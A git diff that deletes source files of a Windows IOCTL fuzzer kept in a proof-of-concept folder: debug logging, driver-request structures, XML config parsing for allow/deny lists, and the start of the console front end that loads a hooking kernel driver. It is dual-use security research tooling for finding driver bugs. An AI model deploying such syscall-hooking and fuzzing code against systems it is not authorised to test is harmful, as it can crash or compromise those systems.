- NULL,
- CREATE_ALWAYS,
- FILE_ATTRIBUTE_NORMAL,
- NULL
- );
- if (hDbgLogfile == INVALID_HANDLE_VALUE)
- {
- DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError());
- return;
- }
-
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Log file '%s' created\n", szLogFilePath);
- }
-
- if (lpszDebugPipeName)
- {
- // pipe to receive messages from driver or other application
- WCHAR wcDebugPipeName[MAX_PATH];
- MultiByteToWideChar(CP_ACP, 0, lpszDebugPipeName, -1, wcDebugPipeName, MAX_PATH);
- wcscpy_s(m_wcDebugPipeName, MAX_PATH, L"\\\\.\\pipe\\");
- wcscat_s(m_wcDebugPipeName, MAX_PATH, wcDebugPipeName);
-
- // start pipe server for debug messages from driver
- HANDLE hThread = CreateThread(NULL, 0, PipeServerThread, NULL, 0, NULL);
- if (hThread)
- {
- CloseHandle(hThread);
- Sleep(2000);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
- }
- }
-}
-//--------------------------------------------------------------------------------------
-WORD ccol(WORD wColor)
-{
- WORD c = 0;
-
- if (wColor == 0)
- {
- return 0;
- }
-
- if (hDbgMutex)
- {
- WaitForSingleObject(hDbgMutex, INFINITE);
- }
-
- HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
- if (hStd != INVALID_HANDLE_VALUE)
- {
- CONSOLE_SCREEN_BUFFER_INFO Info;
- ZeroMemory(&Info, sizeof(Info));
-
- // get old console attributes
- if (GetConsoleScreenBufferInfo(hStd, &Info))
- {
- // set new console attributes
- SetConsoleTextAttribute(hStd, wColor);
- c = Info.wAttributes;
- }
- }
-
- if (hDbgMutex)
- {
- ReleaseMutex(hDbgMutex);
- }
-
- return c;
-}
-//--------------------------------------------------------------------------------------
-// EoF
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h
deleted file mode 100644
index 5d47130a..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.h
+++ /dev/null
@@ -1,13 +0,0 @@
-
-void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);
-void DbgInit(char *lpszDebugPipeName, char *lpszLogFileName);
-
-#define CCOL_BLUE (0x09)
-#define CCOL_GREEN (0x0A)
-#define CCOL_CYAN (0x0B)
-#define CCOL_RED (0x0C)
-#define CCOL_PURPLE (0x0D)
-#define CCOL_YELLOW (0x0E)
-#define CCOL_WHITE (0x0F)
-
-WORD ccol(WORD wColor);
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest
deleted file mode 100644
index 7cdae3bf..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h
deleted file mode 100644
index 8bbcaa9e..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h
+++ /dev/null
@@ -1,117 +0,0 @@
-#define DEVICE_NAME L"IOCTLfuzzer"
-#define DBG_PIPE_NAME L"IOCTLfuzzer"
-#define DBG_PIPE_NAME_A "IOCTLfuzzer"
-
-#define IOCTL_DRV_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
-
-#define S_ERROR 0x00
-#define S_SUCCESS 0x01
-
-#define C_ADD_DEVICE 0x01
-#define C_ADD_DRIVER 0x02
-#define C_ADD_IOCTL 0x03
-#define C_ADD_PROCESS 0x04
-#define C_SET_OPTIONS 0x05
-#define C_GET_DEVICE_INFO 0x06
-#define C_CHECK_HOOKS 0x07
-#define C_DEL_OPTIONS 0x08
-#define C_GET_OBJECT_NAME 0x09
-
-// fuzzing options
-#define FUZZ_OPT_LOG_IOCTL 0x00000001
-#define FUZZ_OPT_LOG_IOCTL_BUFFERS 0x00000002
-#define FUZZ_OPT_LOG_IOCTL_GLOBAL 0x00000004
-#define FUZZ_OPT_LOG_EXCEPTIONS 0x00000008
-#define FUZZ_OPT_LOG_DEBUG 0x00000010
-#define FUZZ_OPT_FUZZ 0x00000020
-#define FUZZ_OPT_FUZZ_SIZE 0x00000040
-#define FUZZ_OPT_FUZZ_FAIR 0x00000080
-#define FUZZ_OPT_FUZZ_BOOT 0x00000100
-#define FUZZ_OPT_NO_SDT_HOOKS 0x00000200
-
-typedef ULONG FUZZING_TYPE;
-
-#define FuzzingType_Random 0x00000001
-#define FuzzingType_Dword 0x00000002
-
-// area to store some variables, that must located in user mode
-#pragma pack(push, 1)
-typedef struct _USER_MODE_DATA
-{
- IO_STATUS_BLOCK IoStatus;
-
-} USER_MODE_DATA,
-*PUSER_MODE_DATA;
-#pragma pack(pop)
-
-#define MAX_REQUEST_STRING 0x100
-
-#pragma pack(push, 1)
-typedef struct _REQUEST_BUFFER
-{
- // operation status (see S_* definitions)
- ULONG Status;
-
- // operation code (see C_* definitions)
- ULONG Code;
-
- union
- {
- struct
- {
- ULONG Options;
- ULONG FuzzThreadId;
- FUZZING_TYPE FuzzingType;
- PUSER_MODE_DATA UserModeData;
- ULONG KiDispatchException_Offset;
-
- } Options;
-
- struct
- {
- PVOID DeviceObjectAddr;
- PVOID DriverObjectAddr;
- char szDriverObjectName[MAX_REQUEST_STRING];
- char szDriverFilePath[MAX_REQUEST_STRING];
-
- } DeviceInfo;
-
- struct
- {
- // for C_ADD_IOCTL
- ULONG IoctlCode;
-
- // for all C_ADD_*
- BOOLEAN bAllow;
-
- // for C_ADD_DEVICE, C_ADD_DRIVER and C_ADD_PROCESS
- char szObjectName[MAX_REQUEST_STRING];
-
- /*
- If TRUE -- debugger command, that stored in Buff[],
- must be executed for every IOCTL, that has been matched
- by this object.
- */
- BOOLEAN bDbgcbAction;
-
- } AddObject;
-
- struct
- {
- HANDLE hObject;
- char szObjectName[MAX_REQUEST_STRING];
-
- } ObjectName;
-
- struct
- {
- BOOLEAN bHooksInstalled;
-
- } CheckHooks;
- };
-
- char Buff[1];
-
-} REQUEST_BUFFER,
-*PREQUEST_BUFFER;
-#pragma pack(pop)
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp
deleted file mode 100644
index 3070e04c..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp
+++ /dev/null
@@ -1,940 +0,0 @@
-#include "stdafx.h"
-
-//unresolved external symbol __imp__StrToIntExA@12
-#pragma comment(lib, "Shlwapi.lib")
-//unresolved external symbol _VerQueryValueA@16
-#pragma comment(lib, "version.lib")
-//unresolved external symbol __imp__InitCommonControls@0
-#pragma comment(lib, "comctl32.lib")
-
-#ifdef _AMD64_
-#pragma comment(lib,"dbgsdk\\lib\\amd64\\dbghelp.lib")
-#pragma comment(lib, "lib\\amd64\\comsupp.lib")
-#else
-#pragma comment(lib,"dbgsdk\\lib\\i386\\dbghelp.lib")
-#pragma comment(lib, "lib\\comsupp.lib")
-#endif
-
-//
-
-#define RESOURCE_NAME_DRIVER32 "DRIVER32"
-#define RESOURCE_NAME_DRIVER64 "DRIVER64"
-
-#define GLOBAL_MUTEX_NAME "Global\\" DRIVER_SERVICE_NAME "_Mutex"
-
-USER_MODE_DATA m_UserModeData;
-DWORD m_dwFuzzThreadId = 0;
-HANDLE hDevice = NULL;
-
-// fuzzing type and other actual options
-FUZZING_TYPE m_FuzzingType = DEFAULT_FUZZING_TYPE;
-DWORD m_dwOptions = 0;
-
-// don't install any hooks (usefull for attack surface analysis feature)
-BOOL m_bNoHooks = FALSE;
-
-// TRUE if remote kernel debugger is not present
-BOOL m_bDebuggerNotPresent = FALSE;
-
-// defined in debug.cpp
-extern HANDLE hDbgLogfile;
-
-BOOL m_bBoot = FALSE;
-/**
-* kernel32!Get[Set]ConsoleScreenBufferInfoEx() functions prsent
-* only on NT 6.x
-*/
-typedef BOOL (WINAPI * GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)(
- HANDLE hConsoleOutput,
- PCONSOLE_SCREEN_BUFFER_INFOEX lpConsoleScreenBufferInfoEx
-);
-//--------------------------------------------------------------------------------------
-BOOL GetOption(IXMLDOMNode *pIDOMNode, PWSTR lpwcName, PBOOL pbVal)
-{
- BOOL bRet = FALSE;
- char *lpszVal = NULL;
-
- if (ConfAllocGetTextByNameA(pIDOMNode, lpwcName, &lpszVal))
- {
- bRet = TRUE;
-
- if (!strcmp(strlwr(lpszVal), "true"))
- {
- *pbVal = TRUE;
- }
- else if (!strcmp(strlwr(lpszVal), "false"))
- {
- *pbVal = FALSE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "WARNING: invalid value for option '%ws'\r\n", lpwcName);
- bRet = FALSE;
- }
-
- M_FREE(lpszVal);
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-void ParseAllowDenySection(IXMLDOMNode *pIDOMNode, BOOL bAllow, BOOL bDbgcbAction)
-{
- struct
- {
- LPCWSTR lpNodeName;
- LPCWSTR lpObjectName;
- ULONG Code;
-
- } Objects[] = {
-
- { L"drivers", L"driver", C_ADD_DRIVER },
- { L"devices", L"device", C_ADD_DEVICE },
- { L"ioctls", L"ioctl", C_ADD_IOCTL },
- { L"processes", L"process", C_ADD_PROCESS },
- { NULL, NULL, 0 }
- };
-
- /*
- Old-style allow/deny lists parsing:
- --------------------------------------
-
-
-
-
- ...
-
-
- */
- for (int ob = 0; Objects[ob].lpNodeName != NULL; ob++)
- {
- // get objects list node
- IXMLDOMNode *pIDOMObjectsNode = ConfGetNodeByName((BSTR)Objects[ob].lpNodeName, pIDOMNode);
- if (pIDOMObjectsNode)
- {
- IXMLDOMNodeList *pIDOMNodeList = NULL;
-
- // enumerate available object names
- HRESULT hr = pIDOMObjectsNode->get_childNodes(&pIDOMNodeList);
- if (SUCCEEDED(hr))
- {
- LONG len = 0;
- pIDOMNodeList->get_length(&len);
-
- DbgMsg(__FILE__, __LINE__, "\"%ws\":\r\n", Objects[ob].lpNodeName);
-
- for (int i = 0; i < len; i++)
- {
- IXMLDOMNode *pIDOMChildNode = NULL;
-
- // get single object name
- hr = pIDOMNodeList->get_item(i, &pIDOMChildNode);
- if (SUCCEEDED(hr))
- {
- char *lpszObjectName = NULL;
- if (ConfGetNodeTextA(pIDOMChildNode, &lpszObjectName))
- {
- REQUEST_BUFFER Buff;
- ZeroMemory(&Buff, sizeof(Buff));
- Buff.Code = Objects[ob].Code;
- Buff.AddObject.bAllow = bAllow;
-
- if (Objects[ob].Code == C_ADD_IOCTL)
- {
- DWORD dwIoctlCode = 0;
-
- // parse hexadecimal IOCTL code value
- if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode))
- {
- DbgMsg(__FILE__, __LINE__, " - 0x%.8x\r\n", dwIoctlCode);
-
- Buff.AddObject.IoctlCode = dwIoctlCode;
- DrvDeviceRequest(&Buff, sizeof(Buff));
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): StrToIntEx() ERROR %d\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, " - \"%s\"\r\n", lpszObjectName);
-
- // object name is a string value (process/driver/device name)
- lstrcpy(Buff.AddObject.szObjectName, lpszObjectName);
- DrvDeviceRequest(&Buff, sizeof(Buff));
- }
-
- M_FREE(lpszObjectName);
- }
-
- pIDOMChildNode->Release();
- }
- }
-
- pIDOMNodeList->Release();
- }
-
- pIDOMObjectsNode->Release();
- }
- }
-
- /*
- New allow/deny lists parsing:
- --------------------------------------
-
-
-
- ...
-
- */
-
- // enumerate available objects
- IXMLDOMNodeList *pIDOMNodeList = NULL;
- HRESULT hr = pIDOMNode->get_childNodes(&pIDOMNodeList);
- if (SUCCEEDED(hr))
- {
- LONG len = 0;
- pIDOMNodeList->get_length(&len);
-
- for (int i = 0; i < len; i++)
- {
- IXMLDOMNode *pIDOMChildNode = NULL;
-
- // get single object node
- hr = pIDOMNodeList->get_item(i, &pIDOMChildNode);
- if (SUCCEEDED(hr))
- {
- // get node name (object type)
- BSTR ChildNodeName = NULL;
- hr = pIDOMChildNode->get_nodeName(&ChildNodeName);
- if (SUCCEEDED(hr))
- {
- // lookup object type by name
- for (int ob = 0; Objects[ob].lpObjectName != NULL; ob++)
- {
- if (!wcscmp(Objects[ob].lpObjectName, ChildNodeName))
- {
- DWORD dwOptionalBuffLen = 0;
- char *lpszObjectName = NULL, *lpszOptionalBuff = NULL;
-
- /*
- Query node value: for dbgcb objects list it contains
- debugger command, that must be executet for each IOCTL,
- matched by this object.
- */
- if (bDbgcbAction &&
- ConfGetNodeTextA(pIDOMChildNode, &lpszOptionalBuff) &&
- lpszOptionalBuff)
- {
- dwOptionalBuffLen = (DWORD)strlen(lpszOptionalBuff) + 1;
- }
-
- if (ConfGetNodeAttributeA(pIDOMChildNode, L"val", &lpszObjectName))
- {
- DWORD dwBuffSize = sizeof(REQUEST_BUFFER) + dwOptionalBuffLen;
- PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)M_ALLOC(dwBuffSize);
- if (Buff)
- {
- ZeroMemory(Buff, dwBuffSize);
- Buff->Code = Objects[ob].Code;
- Buff->AddObject.bAllow = bAllow;
- Buff->AddObject.bDbgcbAction = bDbgcbAction;
-
- if (lpszOptionalBuff)
- {
- lstrcpy(Buff->Buff, lpszOptionalBuff);
- }
-
- if (Objects[ob].Code == C_ADD_IOCTL)
- {
- DWORD dwIoctlCode = 0;
-
- // parse hexadecimal IOCTL code value
- if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode))
- {
- if (bDbgcbAction)
- {
- DbgMsg(
- __FILE__, __LINE__, "Object=\"%ws\" Value=0x%.8x KdCommand=\"%s\"\r\n",
- Objects[ob].lpObjectName, dwIoctlCode,
- lpszOptionalBuff ? lpszOptionalBuff : ""
- );
- }
- else
- {
- DbgMsg(
- __FILE__, __LINE__, "Object=\"%ws\" Value=0x%.8x\r\n",
- Objects[ob].lpObjectName, dwIoctlCode
- );
- }
-
- Buff->AddObject.IoctlCode = dwIoctlCode;
- DrvDeviceRequest(Buff, dwBuffSize);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): StrToIntEx() ERROR %d\n", GetLastError());
- }
- }
- else
- {
- if (bDbgcbAction)
- {
- DbgMsg(
- __FILE__, __LINE__, "Object=\"%ws\" Value=\"%s\" KdCommand=\"%s\"\r\n",
- Objects[ob].lpObjectName, lpszObjectName,
- lpszOptionalBuff ? lpszOptionalBuff : ""
- );
- }
- else
- {
- DbgMsg(
- __FILE__, __LINE__, "Object=\"%ws\" Value=\"%s\"\r\n",
- Objects[ob].lpObjectName, lpszObjectName
- );
- }
-
- // object name is a string value (process/driver/device name)
- lstrcpy(Buff->AddObject.szObjectName, lpszObjectName);
- DrvDeviceRequest(Buff, dwBuffSize);
- }
-
- M_FREE(Buff);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError());
- }
-
- M_FREE(lpszObjectName);
- }
-
- if (lpszOptionalBuff)
- {
- M_FREE(lpszOptionalBuff);
- }
-
- break;
- }
- }
- }
-
- if (ChildNodeName)
- {
- SysFreeString(ChildNodeName);
- }
-
- pIDOMChildNode->Release();
- }
- }
-
- pIDOMNodeList->Release();
- }
-}
-//--------------------------------------------------------------------------------------
-BOOL SetOptions(DWORD dwOptions, FUZZING_TYPE FuzzingType)
-{
- REQUEST_BUFFER Buff;
- ZeroMemory(&Buff, sizeof(Buff));
-
- Buff.Code = C_SET_OPTIONS;
- Buff.Options.Options = dwOptions;
- Buff.Options.FuzzingType = FuzzingType;
- Buff.Options.UserModeData = &m_UserModeData;
- Buff.Options.FuzzThreadId = m_dwFuzzThreadId;
-
- m_dwOptions = dwOptions;
- m_FuzzingType = FuzzingType;
-
- // send options to the driver
- return DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER));
-}
-//--------------------------------------------------------------------------------------
-BOOL SetDefaultOptions(void)
-{
- DWORD dwOptions = FUZZ_OPT_LOG_DEBUG;
-
- dwOptions |= FUZZ_OPT_LOG_IOCTL;
- dwOptions |= FUZZ_OPT_LOG_IOCTL_GLOBAL;
-
- if (m_bNoHooks)
- {
- dwOptions |= FUZZ_OPT_NO_SDT_HOOKS;
- }
-
- // send options to the driver
- return SetOptions(dwOptions, DEFAULT_FUZZING_TYPE);
-}
-//--------------------------------------------------------------------------------------
-BOOL ParseConfig(char *lpszCfgFileName)
-{
- PVOID Data = NULL;
- DWORD dwDataSize = 0;
- BOOL bRet = FALSE;
-
- // read config file
- if (ReadFromFile(lpszCfgFileName, &Data, &dwDataSize))
- {
- PWSTR lpwcData = (PWSTR)M_ALLOC((dwDataSize + 1) * sizeof(WCHAR));
- if (lpwcData)
- {
- MultiByteToWideChar(CP_ACP, 0, (char *)Data, dwDataSize, lpwcData, dwDataSize);
-
- IXMLDOMNode *pIDOMRootNode = NULL;
- IXMLDOMDocument *pXMLDoc = NULL;
-
- // load xml document
- if (XmlLoad(lpwcData, &pXMLDoc, &pIDOMRootNode, L"cfg"))
- {
- // create logfile, if option is set
- char *lpszLogFilePath = NULL;
- if (ConfAllocGetTextByNameA(pIDOMRootNode, L"log_file", &lpszLogFilePath))
- {
- HANDLE hNewLogfile = CreateFile(
- lpszLogFilePath,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_ALWAYS,
- FILE_ATTRIBUTE_NORMAL,
- NULL
- );
- if (hNewLogfile != INVALID_HANDLE_VALUE)
- {
- SetFilePointer(hNewLogfile, 0, NULL, FILE_END);
-
- if (hDbgLogfile != INVALID_HANDLE_VALUE)
- {
- // close old debug log
- CloseHandle(hDbgLogfile);
- hDbgLogfile = hNewLogfile;
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\r\n", GetLastError());
- DbgMsg(__FILE__, __LINE__, "Error while creating/opening logfile at '%s'.\r\n", lpszLogFilePath);
- }
-
- M_FREE(lpszLogFilePath);
- }
-
- // parse allowed objects list
- IXMLDOMNode *pIDOMAllowNode = ConfGetNodeByName(L"allow", pIDOMRootNode);
- if (pIDOMAllowNode)
- {
- ParseAllowDenySection(pIDOMAllowNode, TRUE, FALSE);
- pIDOMAllowNode->Release();
- }
-
- // parse denied objects list
- IXMLDOMNode *pIDOMDenyNode = ConfGetNodeByName(L"deny", pIDOMRootNode);
- if (pIDOMDenyNode)
- {
- ParseAllowDenySection(pIDOMDenyNode, FALSE, FALSE);
- pIDOMDenyNode->Release();
- }
-
- if (!m_bDebuggerNotPresent)
- {
- // parse debugger communication engine options
- IXMLDOMNode *pIDOMDbgcbNode = ConfGetNodeByName(L"dbgcb", pIDOMRootNode);
- if (pIDOMDbgcbNode)
- {
- ParseAllowDenySection(pIDOMDbgcbNode, FALSE, TRUE);
- pIDOMDbgcbNode->Release();
- }
- }
-
- // parse options
- BOOL bLogRequests = TRUE, bDebugLogRequests = TRUE;
- BOOL bHexDump = FALSE;
- DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL;
- FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE;
-
- GetOption(pIDOMRootNode, L"hex_dump", &bHexDump);
- GetOption(pIDOMRootNode, L"log_requests", &bLogRequests);
- GetOption(pIDOMRootNode, L"debug_log_requests", &bDebugLogRequests);
- GetOption(pIDOMRootNode, L"boot_log", &m_bBoot);
-
- DbgMsg(__FILE__, __LINE__, "PROGRAM OPTIONS:\r\n");
-
- #define STROPT(_x_) ((_x_) ? "Yes" : "No")
-
- DbgMsg(__FILE__, __LINE__, " 'hex_dump': %s\r\n", STROPT(bHexDump));
- DbgMsg(__FILE__, __LINE__, " 'log_requests': %s\r\n", STROPT(bLogRequests));
- DbgMsg(__FILE__, __LINE__, " 'debug_log_requests': %s\r\n", STROPT(bDebugLogRequests));
- DbgMsg(__FILE__, __LINE__, " 'bBoot': %s\r\n", STROPT(m_bBoot));
-
- if (bHexDump)
- {
- dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS;
- }
-
- if (bLogRequests)
- {
- dwOptions |= FUZZ_OPT_LOG_IOCTL;
- }
-
- if (bDebugLogRequests)
- {
- dwOptions |= FUZZ_OPT_LOG_DEBUG;
- }
-
- if (m_bBoot)
- {
- dwOptions |= FUZZ_OPT_FUZZ_BOOT;
- }
-
- // send options to the driver
- bRet = SetOptions(dwOptions, FuzzingType);
-
- pIDOMRootNode->Release();
- pXMLDoc->Release();
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError());
- }
-
- M_FREE(Data);
- }
-
- if (!bRet)
- {
- SetDefaultOptions();
- }
-
- return bRet;
-}
-//--------------------------------------------------------------------------------------
-DWORD WINAPI ApcThread(LPVOID lpParam)
-{
- while (true)
- {
- SleepEx(INFINITE, TRUE);
- }
-
- return 0;
-}
-//--------------------------------------------------------------------------------------
-BOOL WINAPI CtrlHandler(DWORD fdwCtrlType)
-{
- if (fdwCtrlType == CTRL_C_EVENT ||
- fdwCtrlType == CTRL_CLOSE_EVENT)
- {
- // Handle the CTRL-C signal.
- DbgMsg(__FILE__, __LINE__, "Stopping application, please wait...\r\n");
-
- ExitProcess(0);
-
- return TRUE;
- }
-
- return FALSE;
-}
-//--------------------------------------------------------------------------------------
-BOOL GetResPayload(HMODULE hModule, char *lpszResourceName, PVOID *Data, DWORD *dwDataSize)
-{
- HRSRC hRc = FindResource(hModule, lpszResourceName, "BINRES");
- if (hRc)
- {
- HGLOBAL hResData = LoadResource(hModule, hRc);
- if (hResData)
- {
- PVOID ResData = LockResource(hResData);
- if (ResData)
- {
- *dwDataSize = SizeofResource(hModule, hRc);
- if (*Data = M_ALLOC(*dwDataSize))
- {
- memcpy(*Data, ResData, *dwDataSize);
- return TRUE;
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError());
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "LockResource() fails\r\n");
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "LoadResource() fails\r\n");
- }
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "FindResource() fails\r\n");
- }
-
- return FALSE;
-}
-//--------------------------------------------------------------------------------------
-#define CHECK_SET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_CHECKED, 0)
-#define CHECK_UNSET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_UNCHECKED, 0)
-#define CHECK_GET(_item_) (SendMessage(GetDlgItem(hDlg, (_item_)), BM_GETCHECK, BST_CHECKED, 0) == BST_CHECKED)
-
-LRESULT CALLBACK MainDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
-{
- DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL;
- FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE;
-
- switch (message)
- {
-
- case WM_INITDIALOG:
- {
- /**
- * Initialize chekboxes for fuzzing options.
- */
- if (m_dwOptions & FUZZ_OPT_LOG_IOCTL)
- {
- CHECK_SET(IDC_LOG_CONSOLE);
- }
-
- if (m_dwOptions & FUZZ_OPT_LOG_DEBUG)
- {
- CHECK_SET(IDC_LOG_DEBUGGER);
- }
-
- if (m_dwOptions & FUZZ_OPT_LOG_IOCTL_BUFFERS)
- {
- CHECK_SET(IDC_LOG_BUFFERS);
- }
- break;
- }
-
- case WM_COMMAND:
- {
- switch (wParam)
- {
- case IDC_HIDE:
-
- ShowWindow(hDlg, SW_HIDE);
- break;
-
- case IDC_TERMINATE:
-
- DestroyWindow(hDlg);
- break;
-
- case IDC_LOG_CONSOLE:
- case IDC_LOG_DEBUGGER:
- case IDC_LOG_BUFFERS:
- /**
- * Get controls state.
- */
-
- if (CHECK_GET(IDC_LOG_CONSOLE))
- {
- dwOptions |= FUZZ_OPT_LOG_IOCTL;
- }
-
- if (CHECK_GET(IDC_LOG_DEBUGGER))
- {
- dwOptions |= FUZZ_OPT_LOG_DEBUG;
- }
-
- if (CHECK_GET(IDC_LOG_BUFFERS))
- {
- dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS;
- }
-
- // update fuzzing type and settings
- SetOptions(dwOptions, FuzzingType);
-
- break;
- }
-
- break;
- }
-
- case WM_CLOSE:
- {
- DestroyWindow(hDlg);
- break;
- }
- }
-
- return FALSE;
-}
-//--------------------------------------------------------------------------------------
-int _tmain(int argc, _TCHAR* argv[])
-{
- char szDriverFileName[MAX_PATH] = {0};
- char szServiceFileName[MAX_PATH] = {0};
-
- BOOL bUninstall = FALSE, bShowExceptions = FALSE, bPrintDevices = FALSE;
-
- InitCommonControls();
-
- GetSystemDirectory(szDriverFileName, sizeof(szDriverFileName));
- lstrcat(szDriverFileName, "\\drivers\\" DRIVER_FILE_NAME);
- lstrcpy(szServiceFileName, "system32\\drivers\\" DRIVER_FILE_NAME);
-
- HANDLE hGlobalMutex = CreateMutex(NULL, FALSE, GLOBAL_MUTEX_NAME);
-
- char lpszConfigPath[MAX_PATH] = {0};
- GetCurrentDirectory(sizeof(lpszConfigPath), lpszConfigPath);
- lstrcat(lpszConfigPath, "\\ioctlfuzzer.xml");
-
- // check for allready running application
- if (GetLastError() == ERROR_ALREADY_EXISTS)
- {
- MessageBox(
- 0,
- "One copy of program is allready running.\n",
- "ERROR",
- MB_ICONERROR
- );
-
- ExitProcess(0);
- }
-
-#if defined(_X86_)
-
- BOOL bIs64 = FALSE;
-
- typedef BOOL (WINAPI * func_IsWow64Process)(
- HANDLE hProcess,
- PBOOL Wow64Process
- );
-
- func_IsWow64Process f_IsWow64Process = (func_IsWow64Process)GetProcAddress(
- GetModuleHandleA("kernel32.dll"),
- "IsWow64Process"
- );
- if (f_IsWow64Process)
- {
- // check for WoW64 environment
- if (f_IsWow64Process(GetCurrentProcess(), &bIs64) && bIs64)
- {
- MessageBoxA(
- 0,
- "You should use x64 version of program on Windows x64.\n"
- " to exit.",
- "ERROR", MB_ICONWARNING
- );
-
- ExitProcess(0);
- }
- }
-
-#endif // _X86_
-
- DbgInit(DBG_PIPE_NAME_A, IOCTLFUZZER_LOG_FILE);
-
- PSYSTEM_KERNEL_DEBUGGER_INFORMATION DebuggerInfo = (PSYSTEM_KERNEL_DEBUGGER_INFORMATION)
- GetSysInf(SystemKernelDebuggerInformation);
- if (DebuggerInfo)
- {
- // check for remote kernel debugger
- if (!DebuggerInfo->DebuggerEnabled ||
- DebuggerInfo->DebuggerNotPresent)
- {
- if (MessageBox(
- 0,
- "Warning!\r\n"
- "Kernel debugger is not present, IOCTL Fuzzer may cause a BSoD.\r\n"
- "Continue execution?",
- "Warning", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDNO)
- {
- ExitProcess(0);
- }
- }
-
- M_FREE(DebuggerInfo);
- }
-
- GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_GetConsoleScreenBufferInfoEx =
- (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress(
- GetModuleHandle("kernel32.dll"),
- "GetConsoleScreenBufferInfoEx"
- );
-
- GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_SetConsoleScreenBufferInfoEx =
- (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress(
- GetModuleHandle("kernel32.dll"),
- "SetConsoleScreenBufferInfoEx"
- );
-
- if (f_GetConsoleScreenBufferInfoEx &&
- f_SetConsoleScreenBufferInfoEx)
- {
- HANDLE hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
- CONSOLE_SCREEN_BUFFER_INFOEX ConsoleInfo;
- ConsoleInfo.cbSize = sizeof(ConsoleInfo);
-
- if (f_GetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo))
- {
- DbgMsg(
- __FILE__, __LINE__, "[+] Changing console screen buffer height from %d to %d lines\n",
- ConsoleInfo.dwSize.Y, CONSOLE_BUFFER_HEIGHT
- );
-
- ConsoleInfo.dwSize.Y = CONSOLE_BUFFER_HEIGHT;
-
- // we don't need horizontal scroll bar
- ConsoleInfo.dwSize.X -= 1;
-
- if (!f_SetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo))
- {
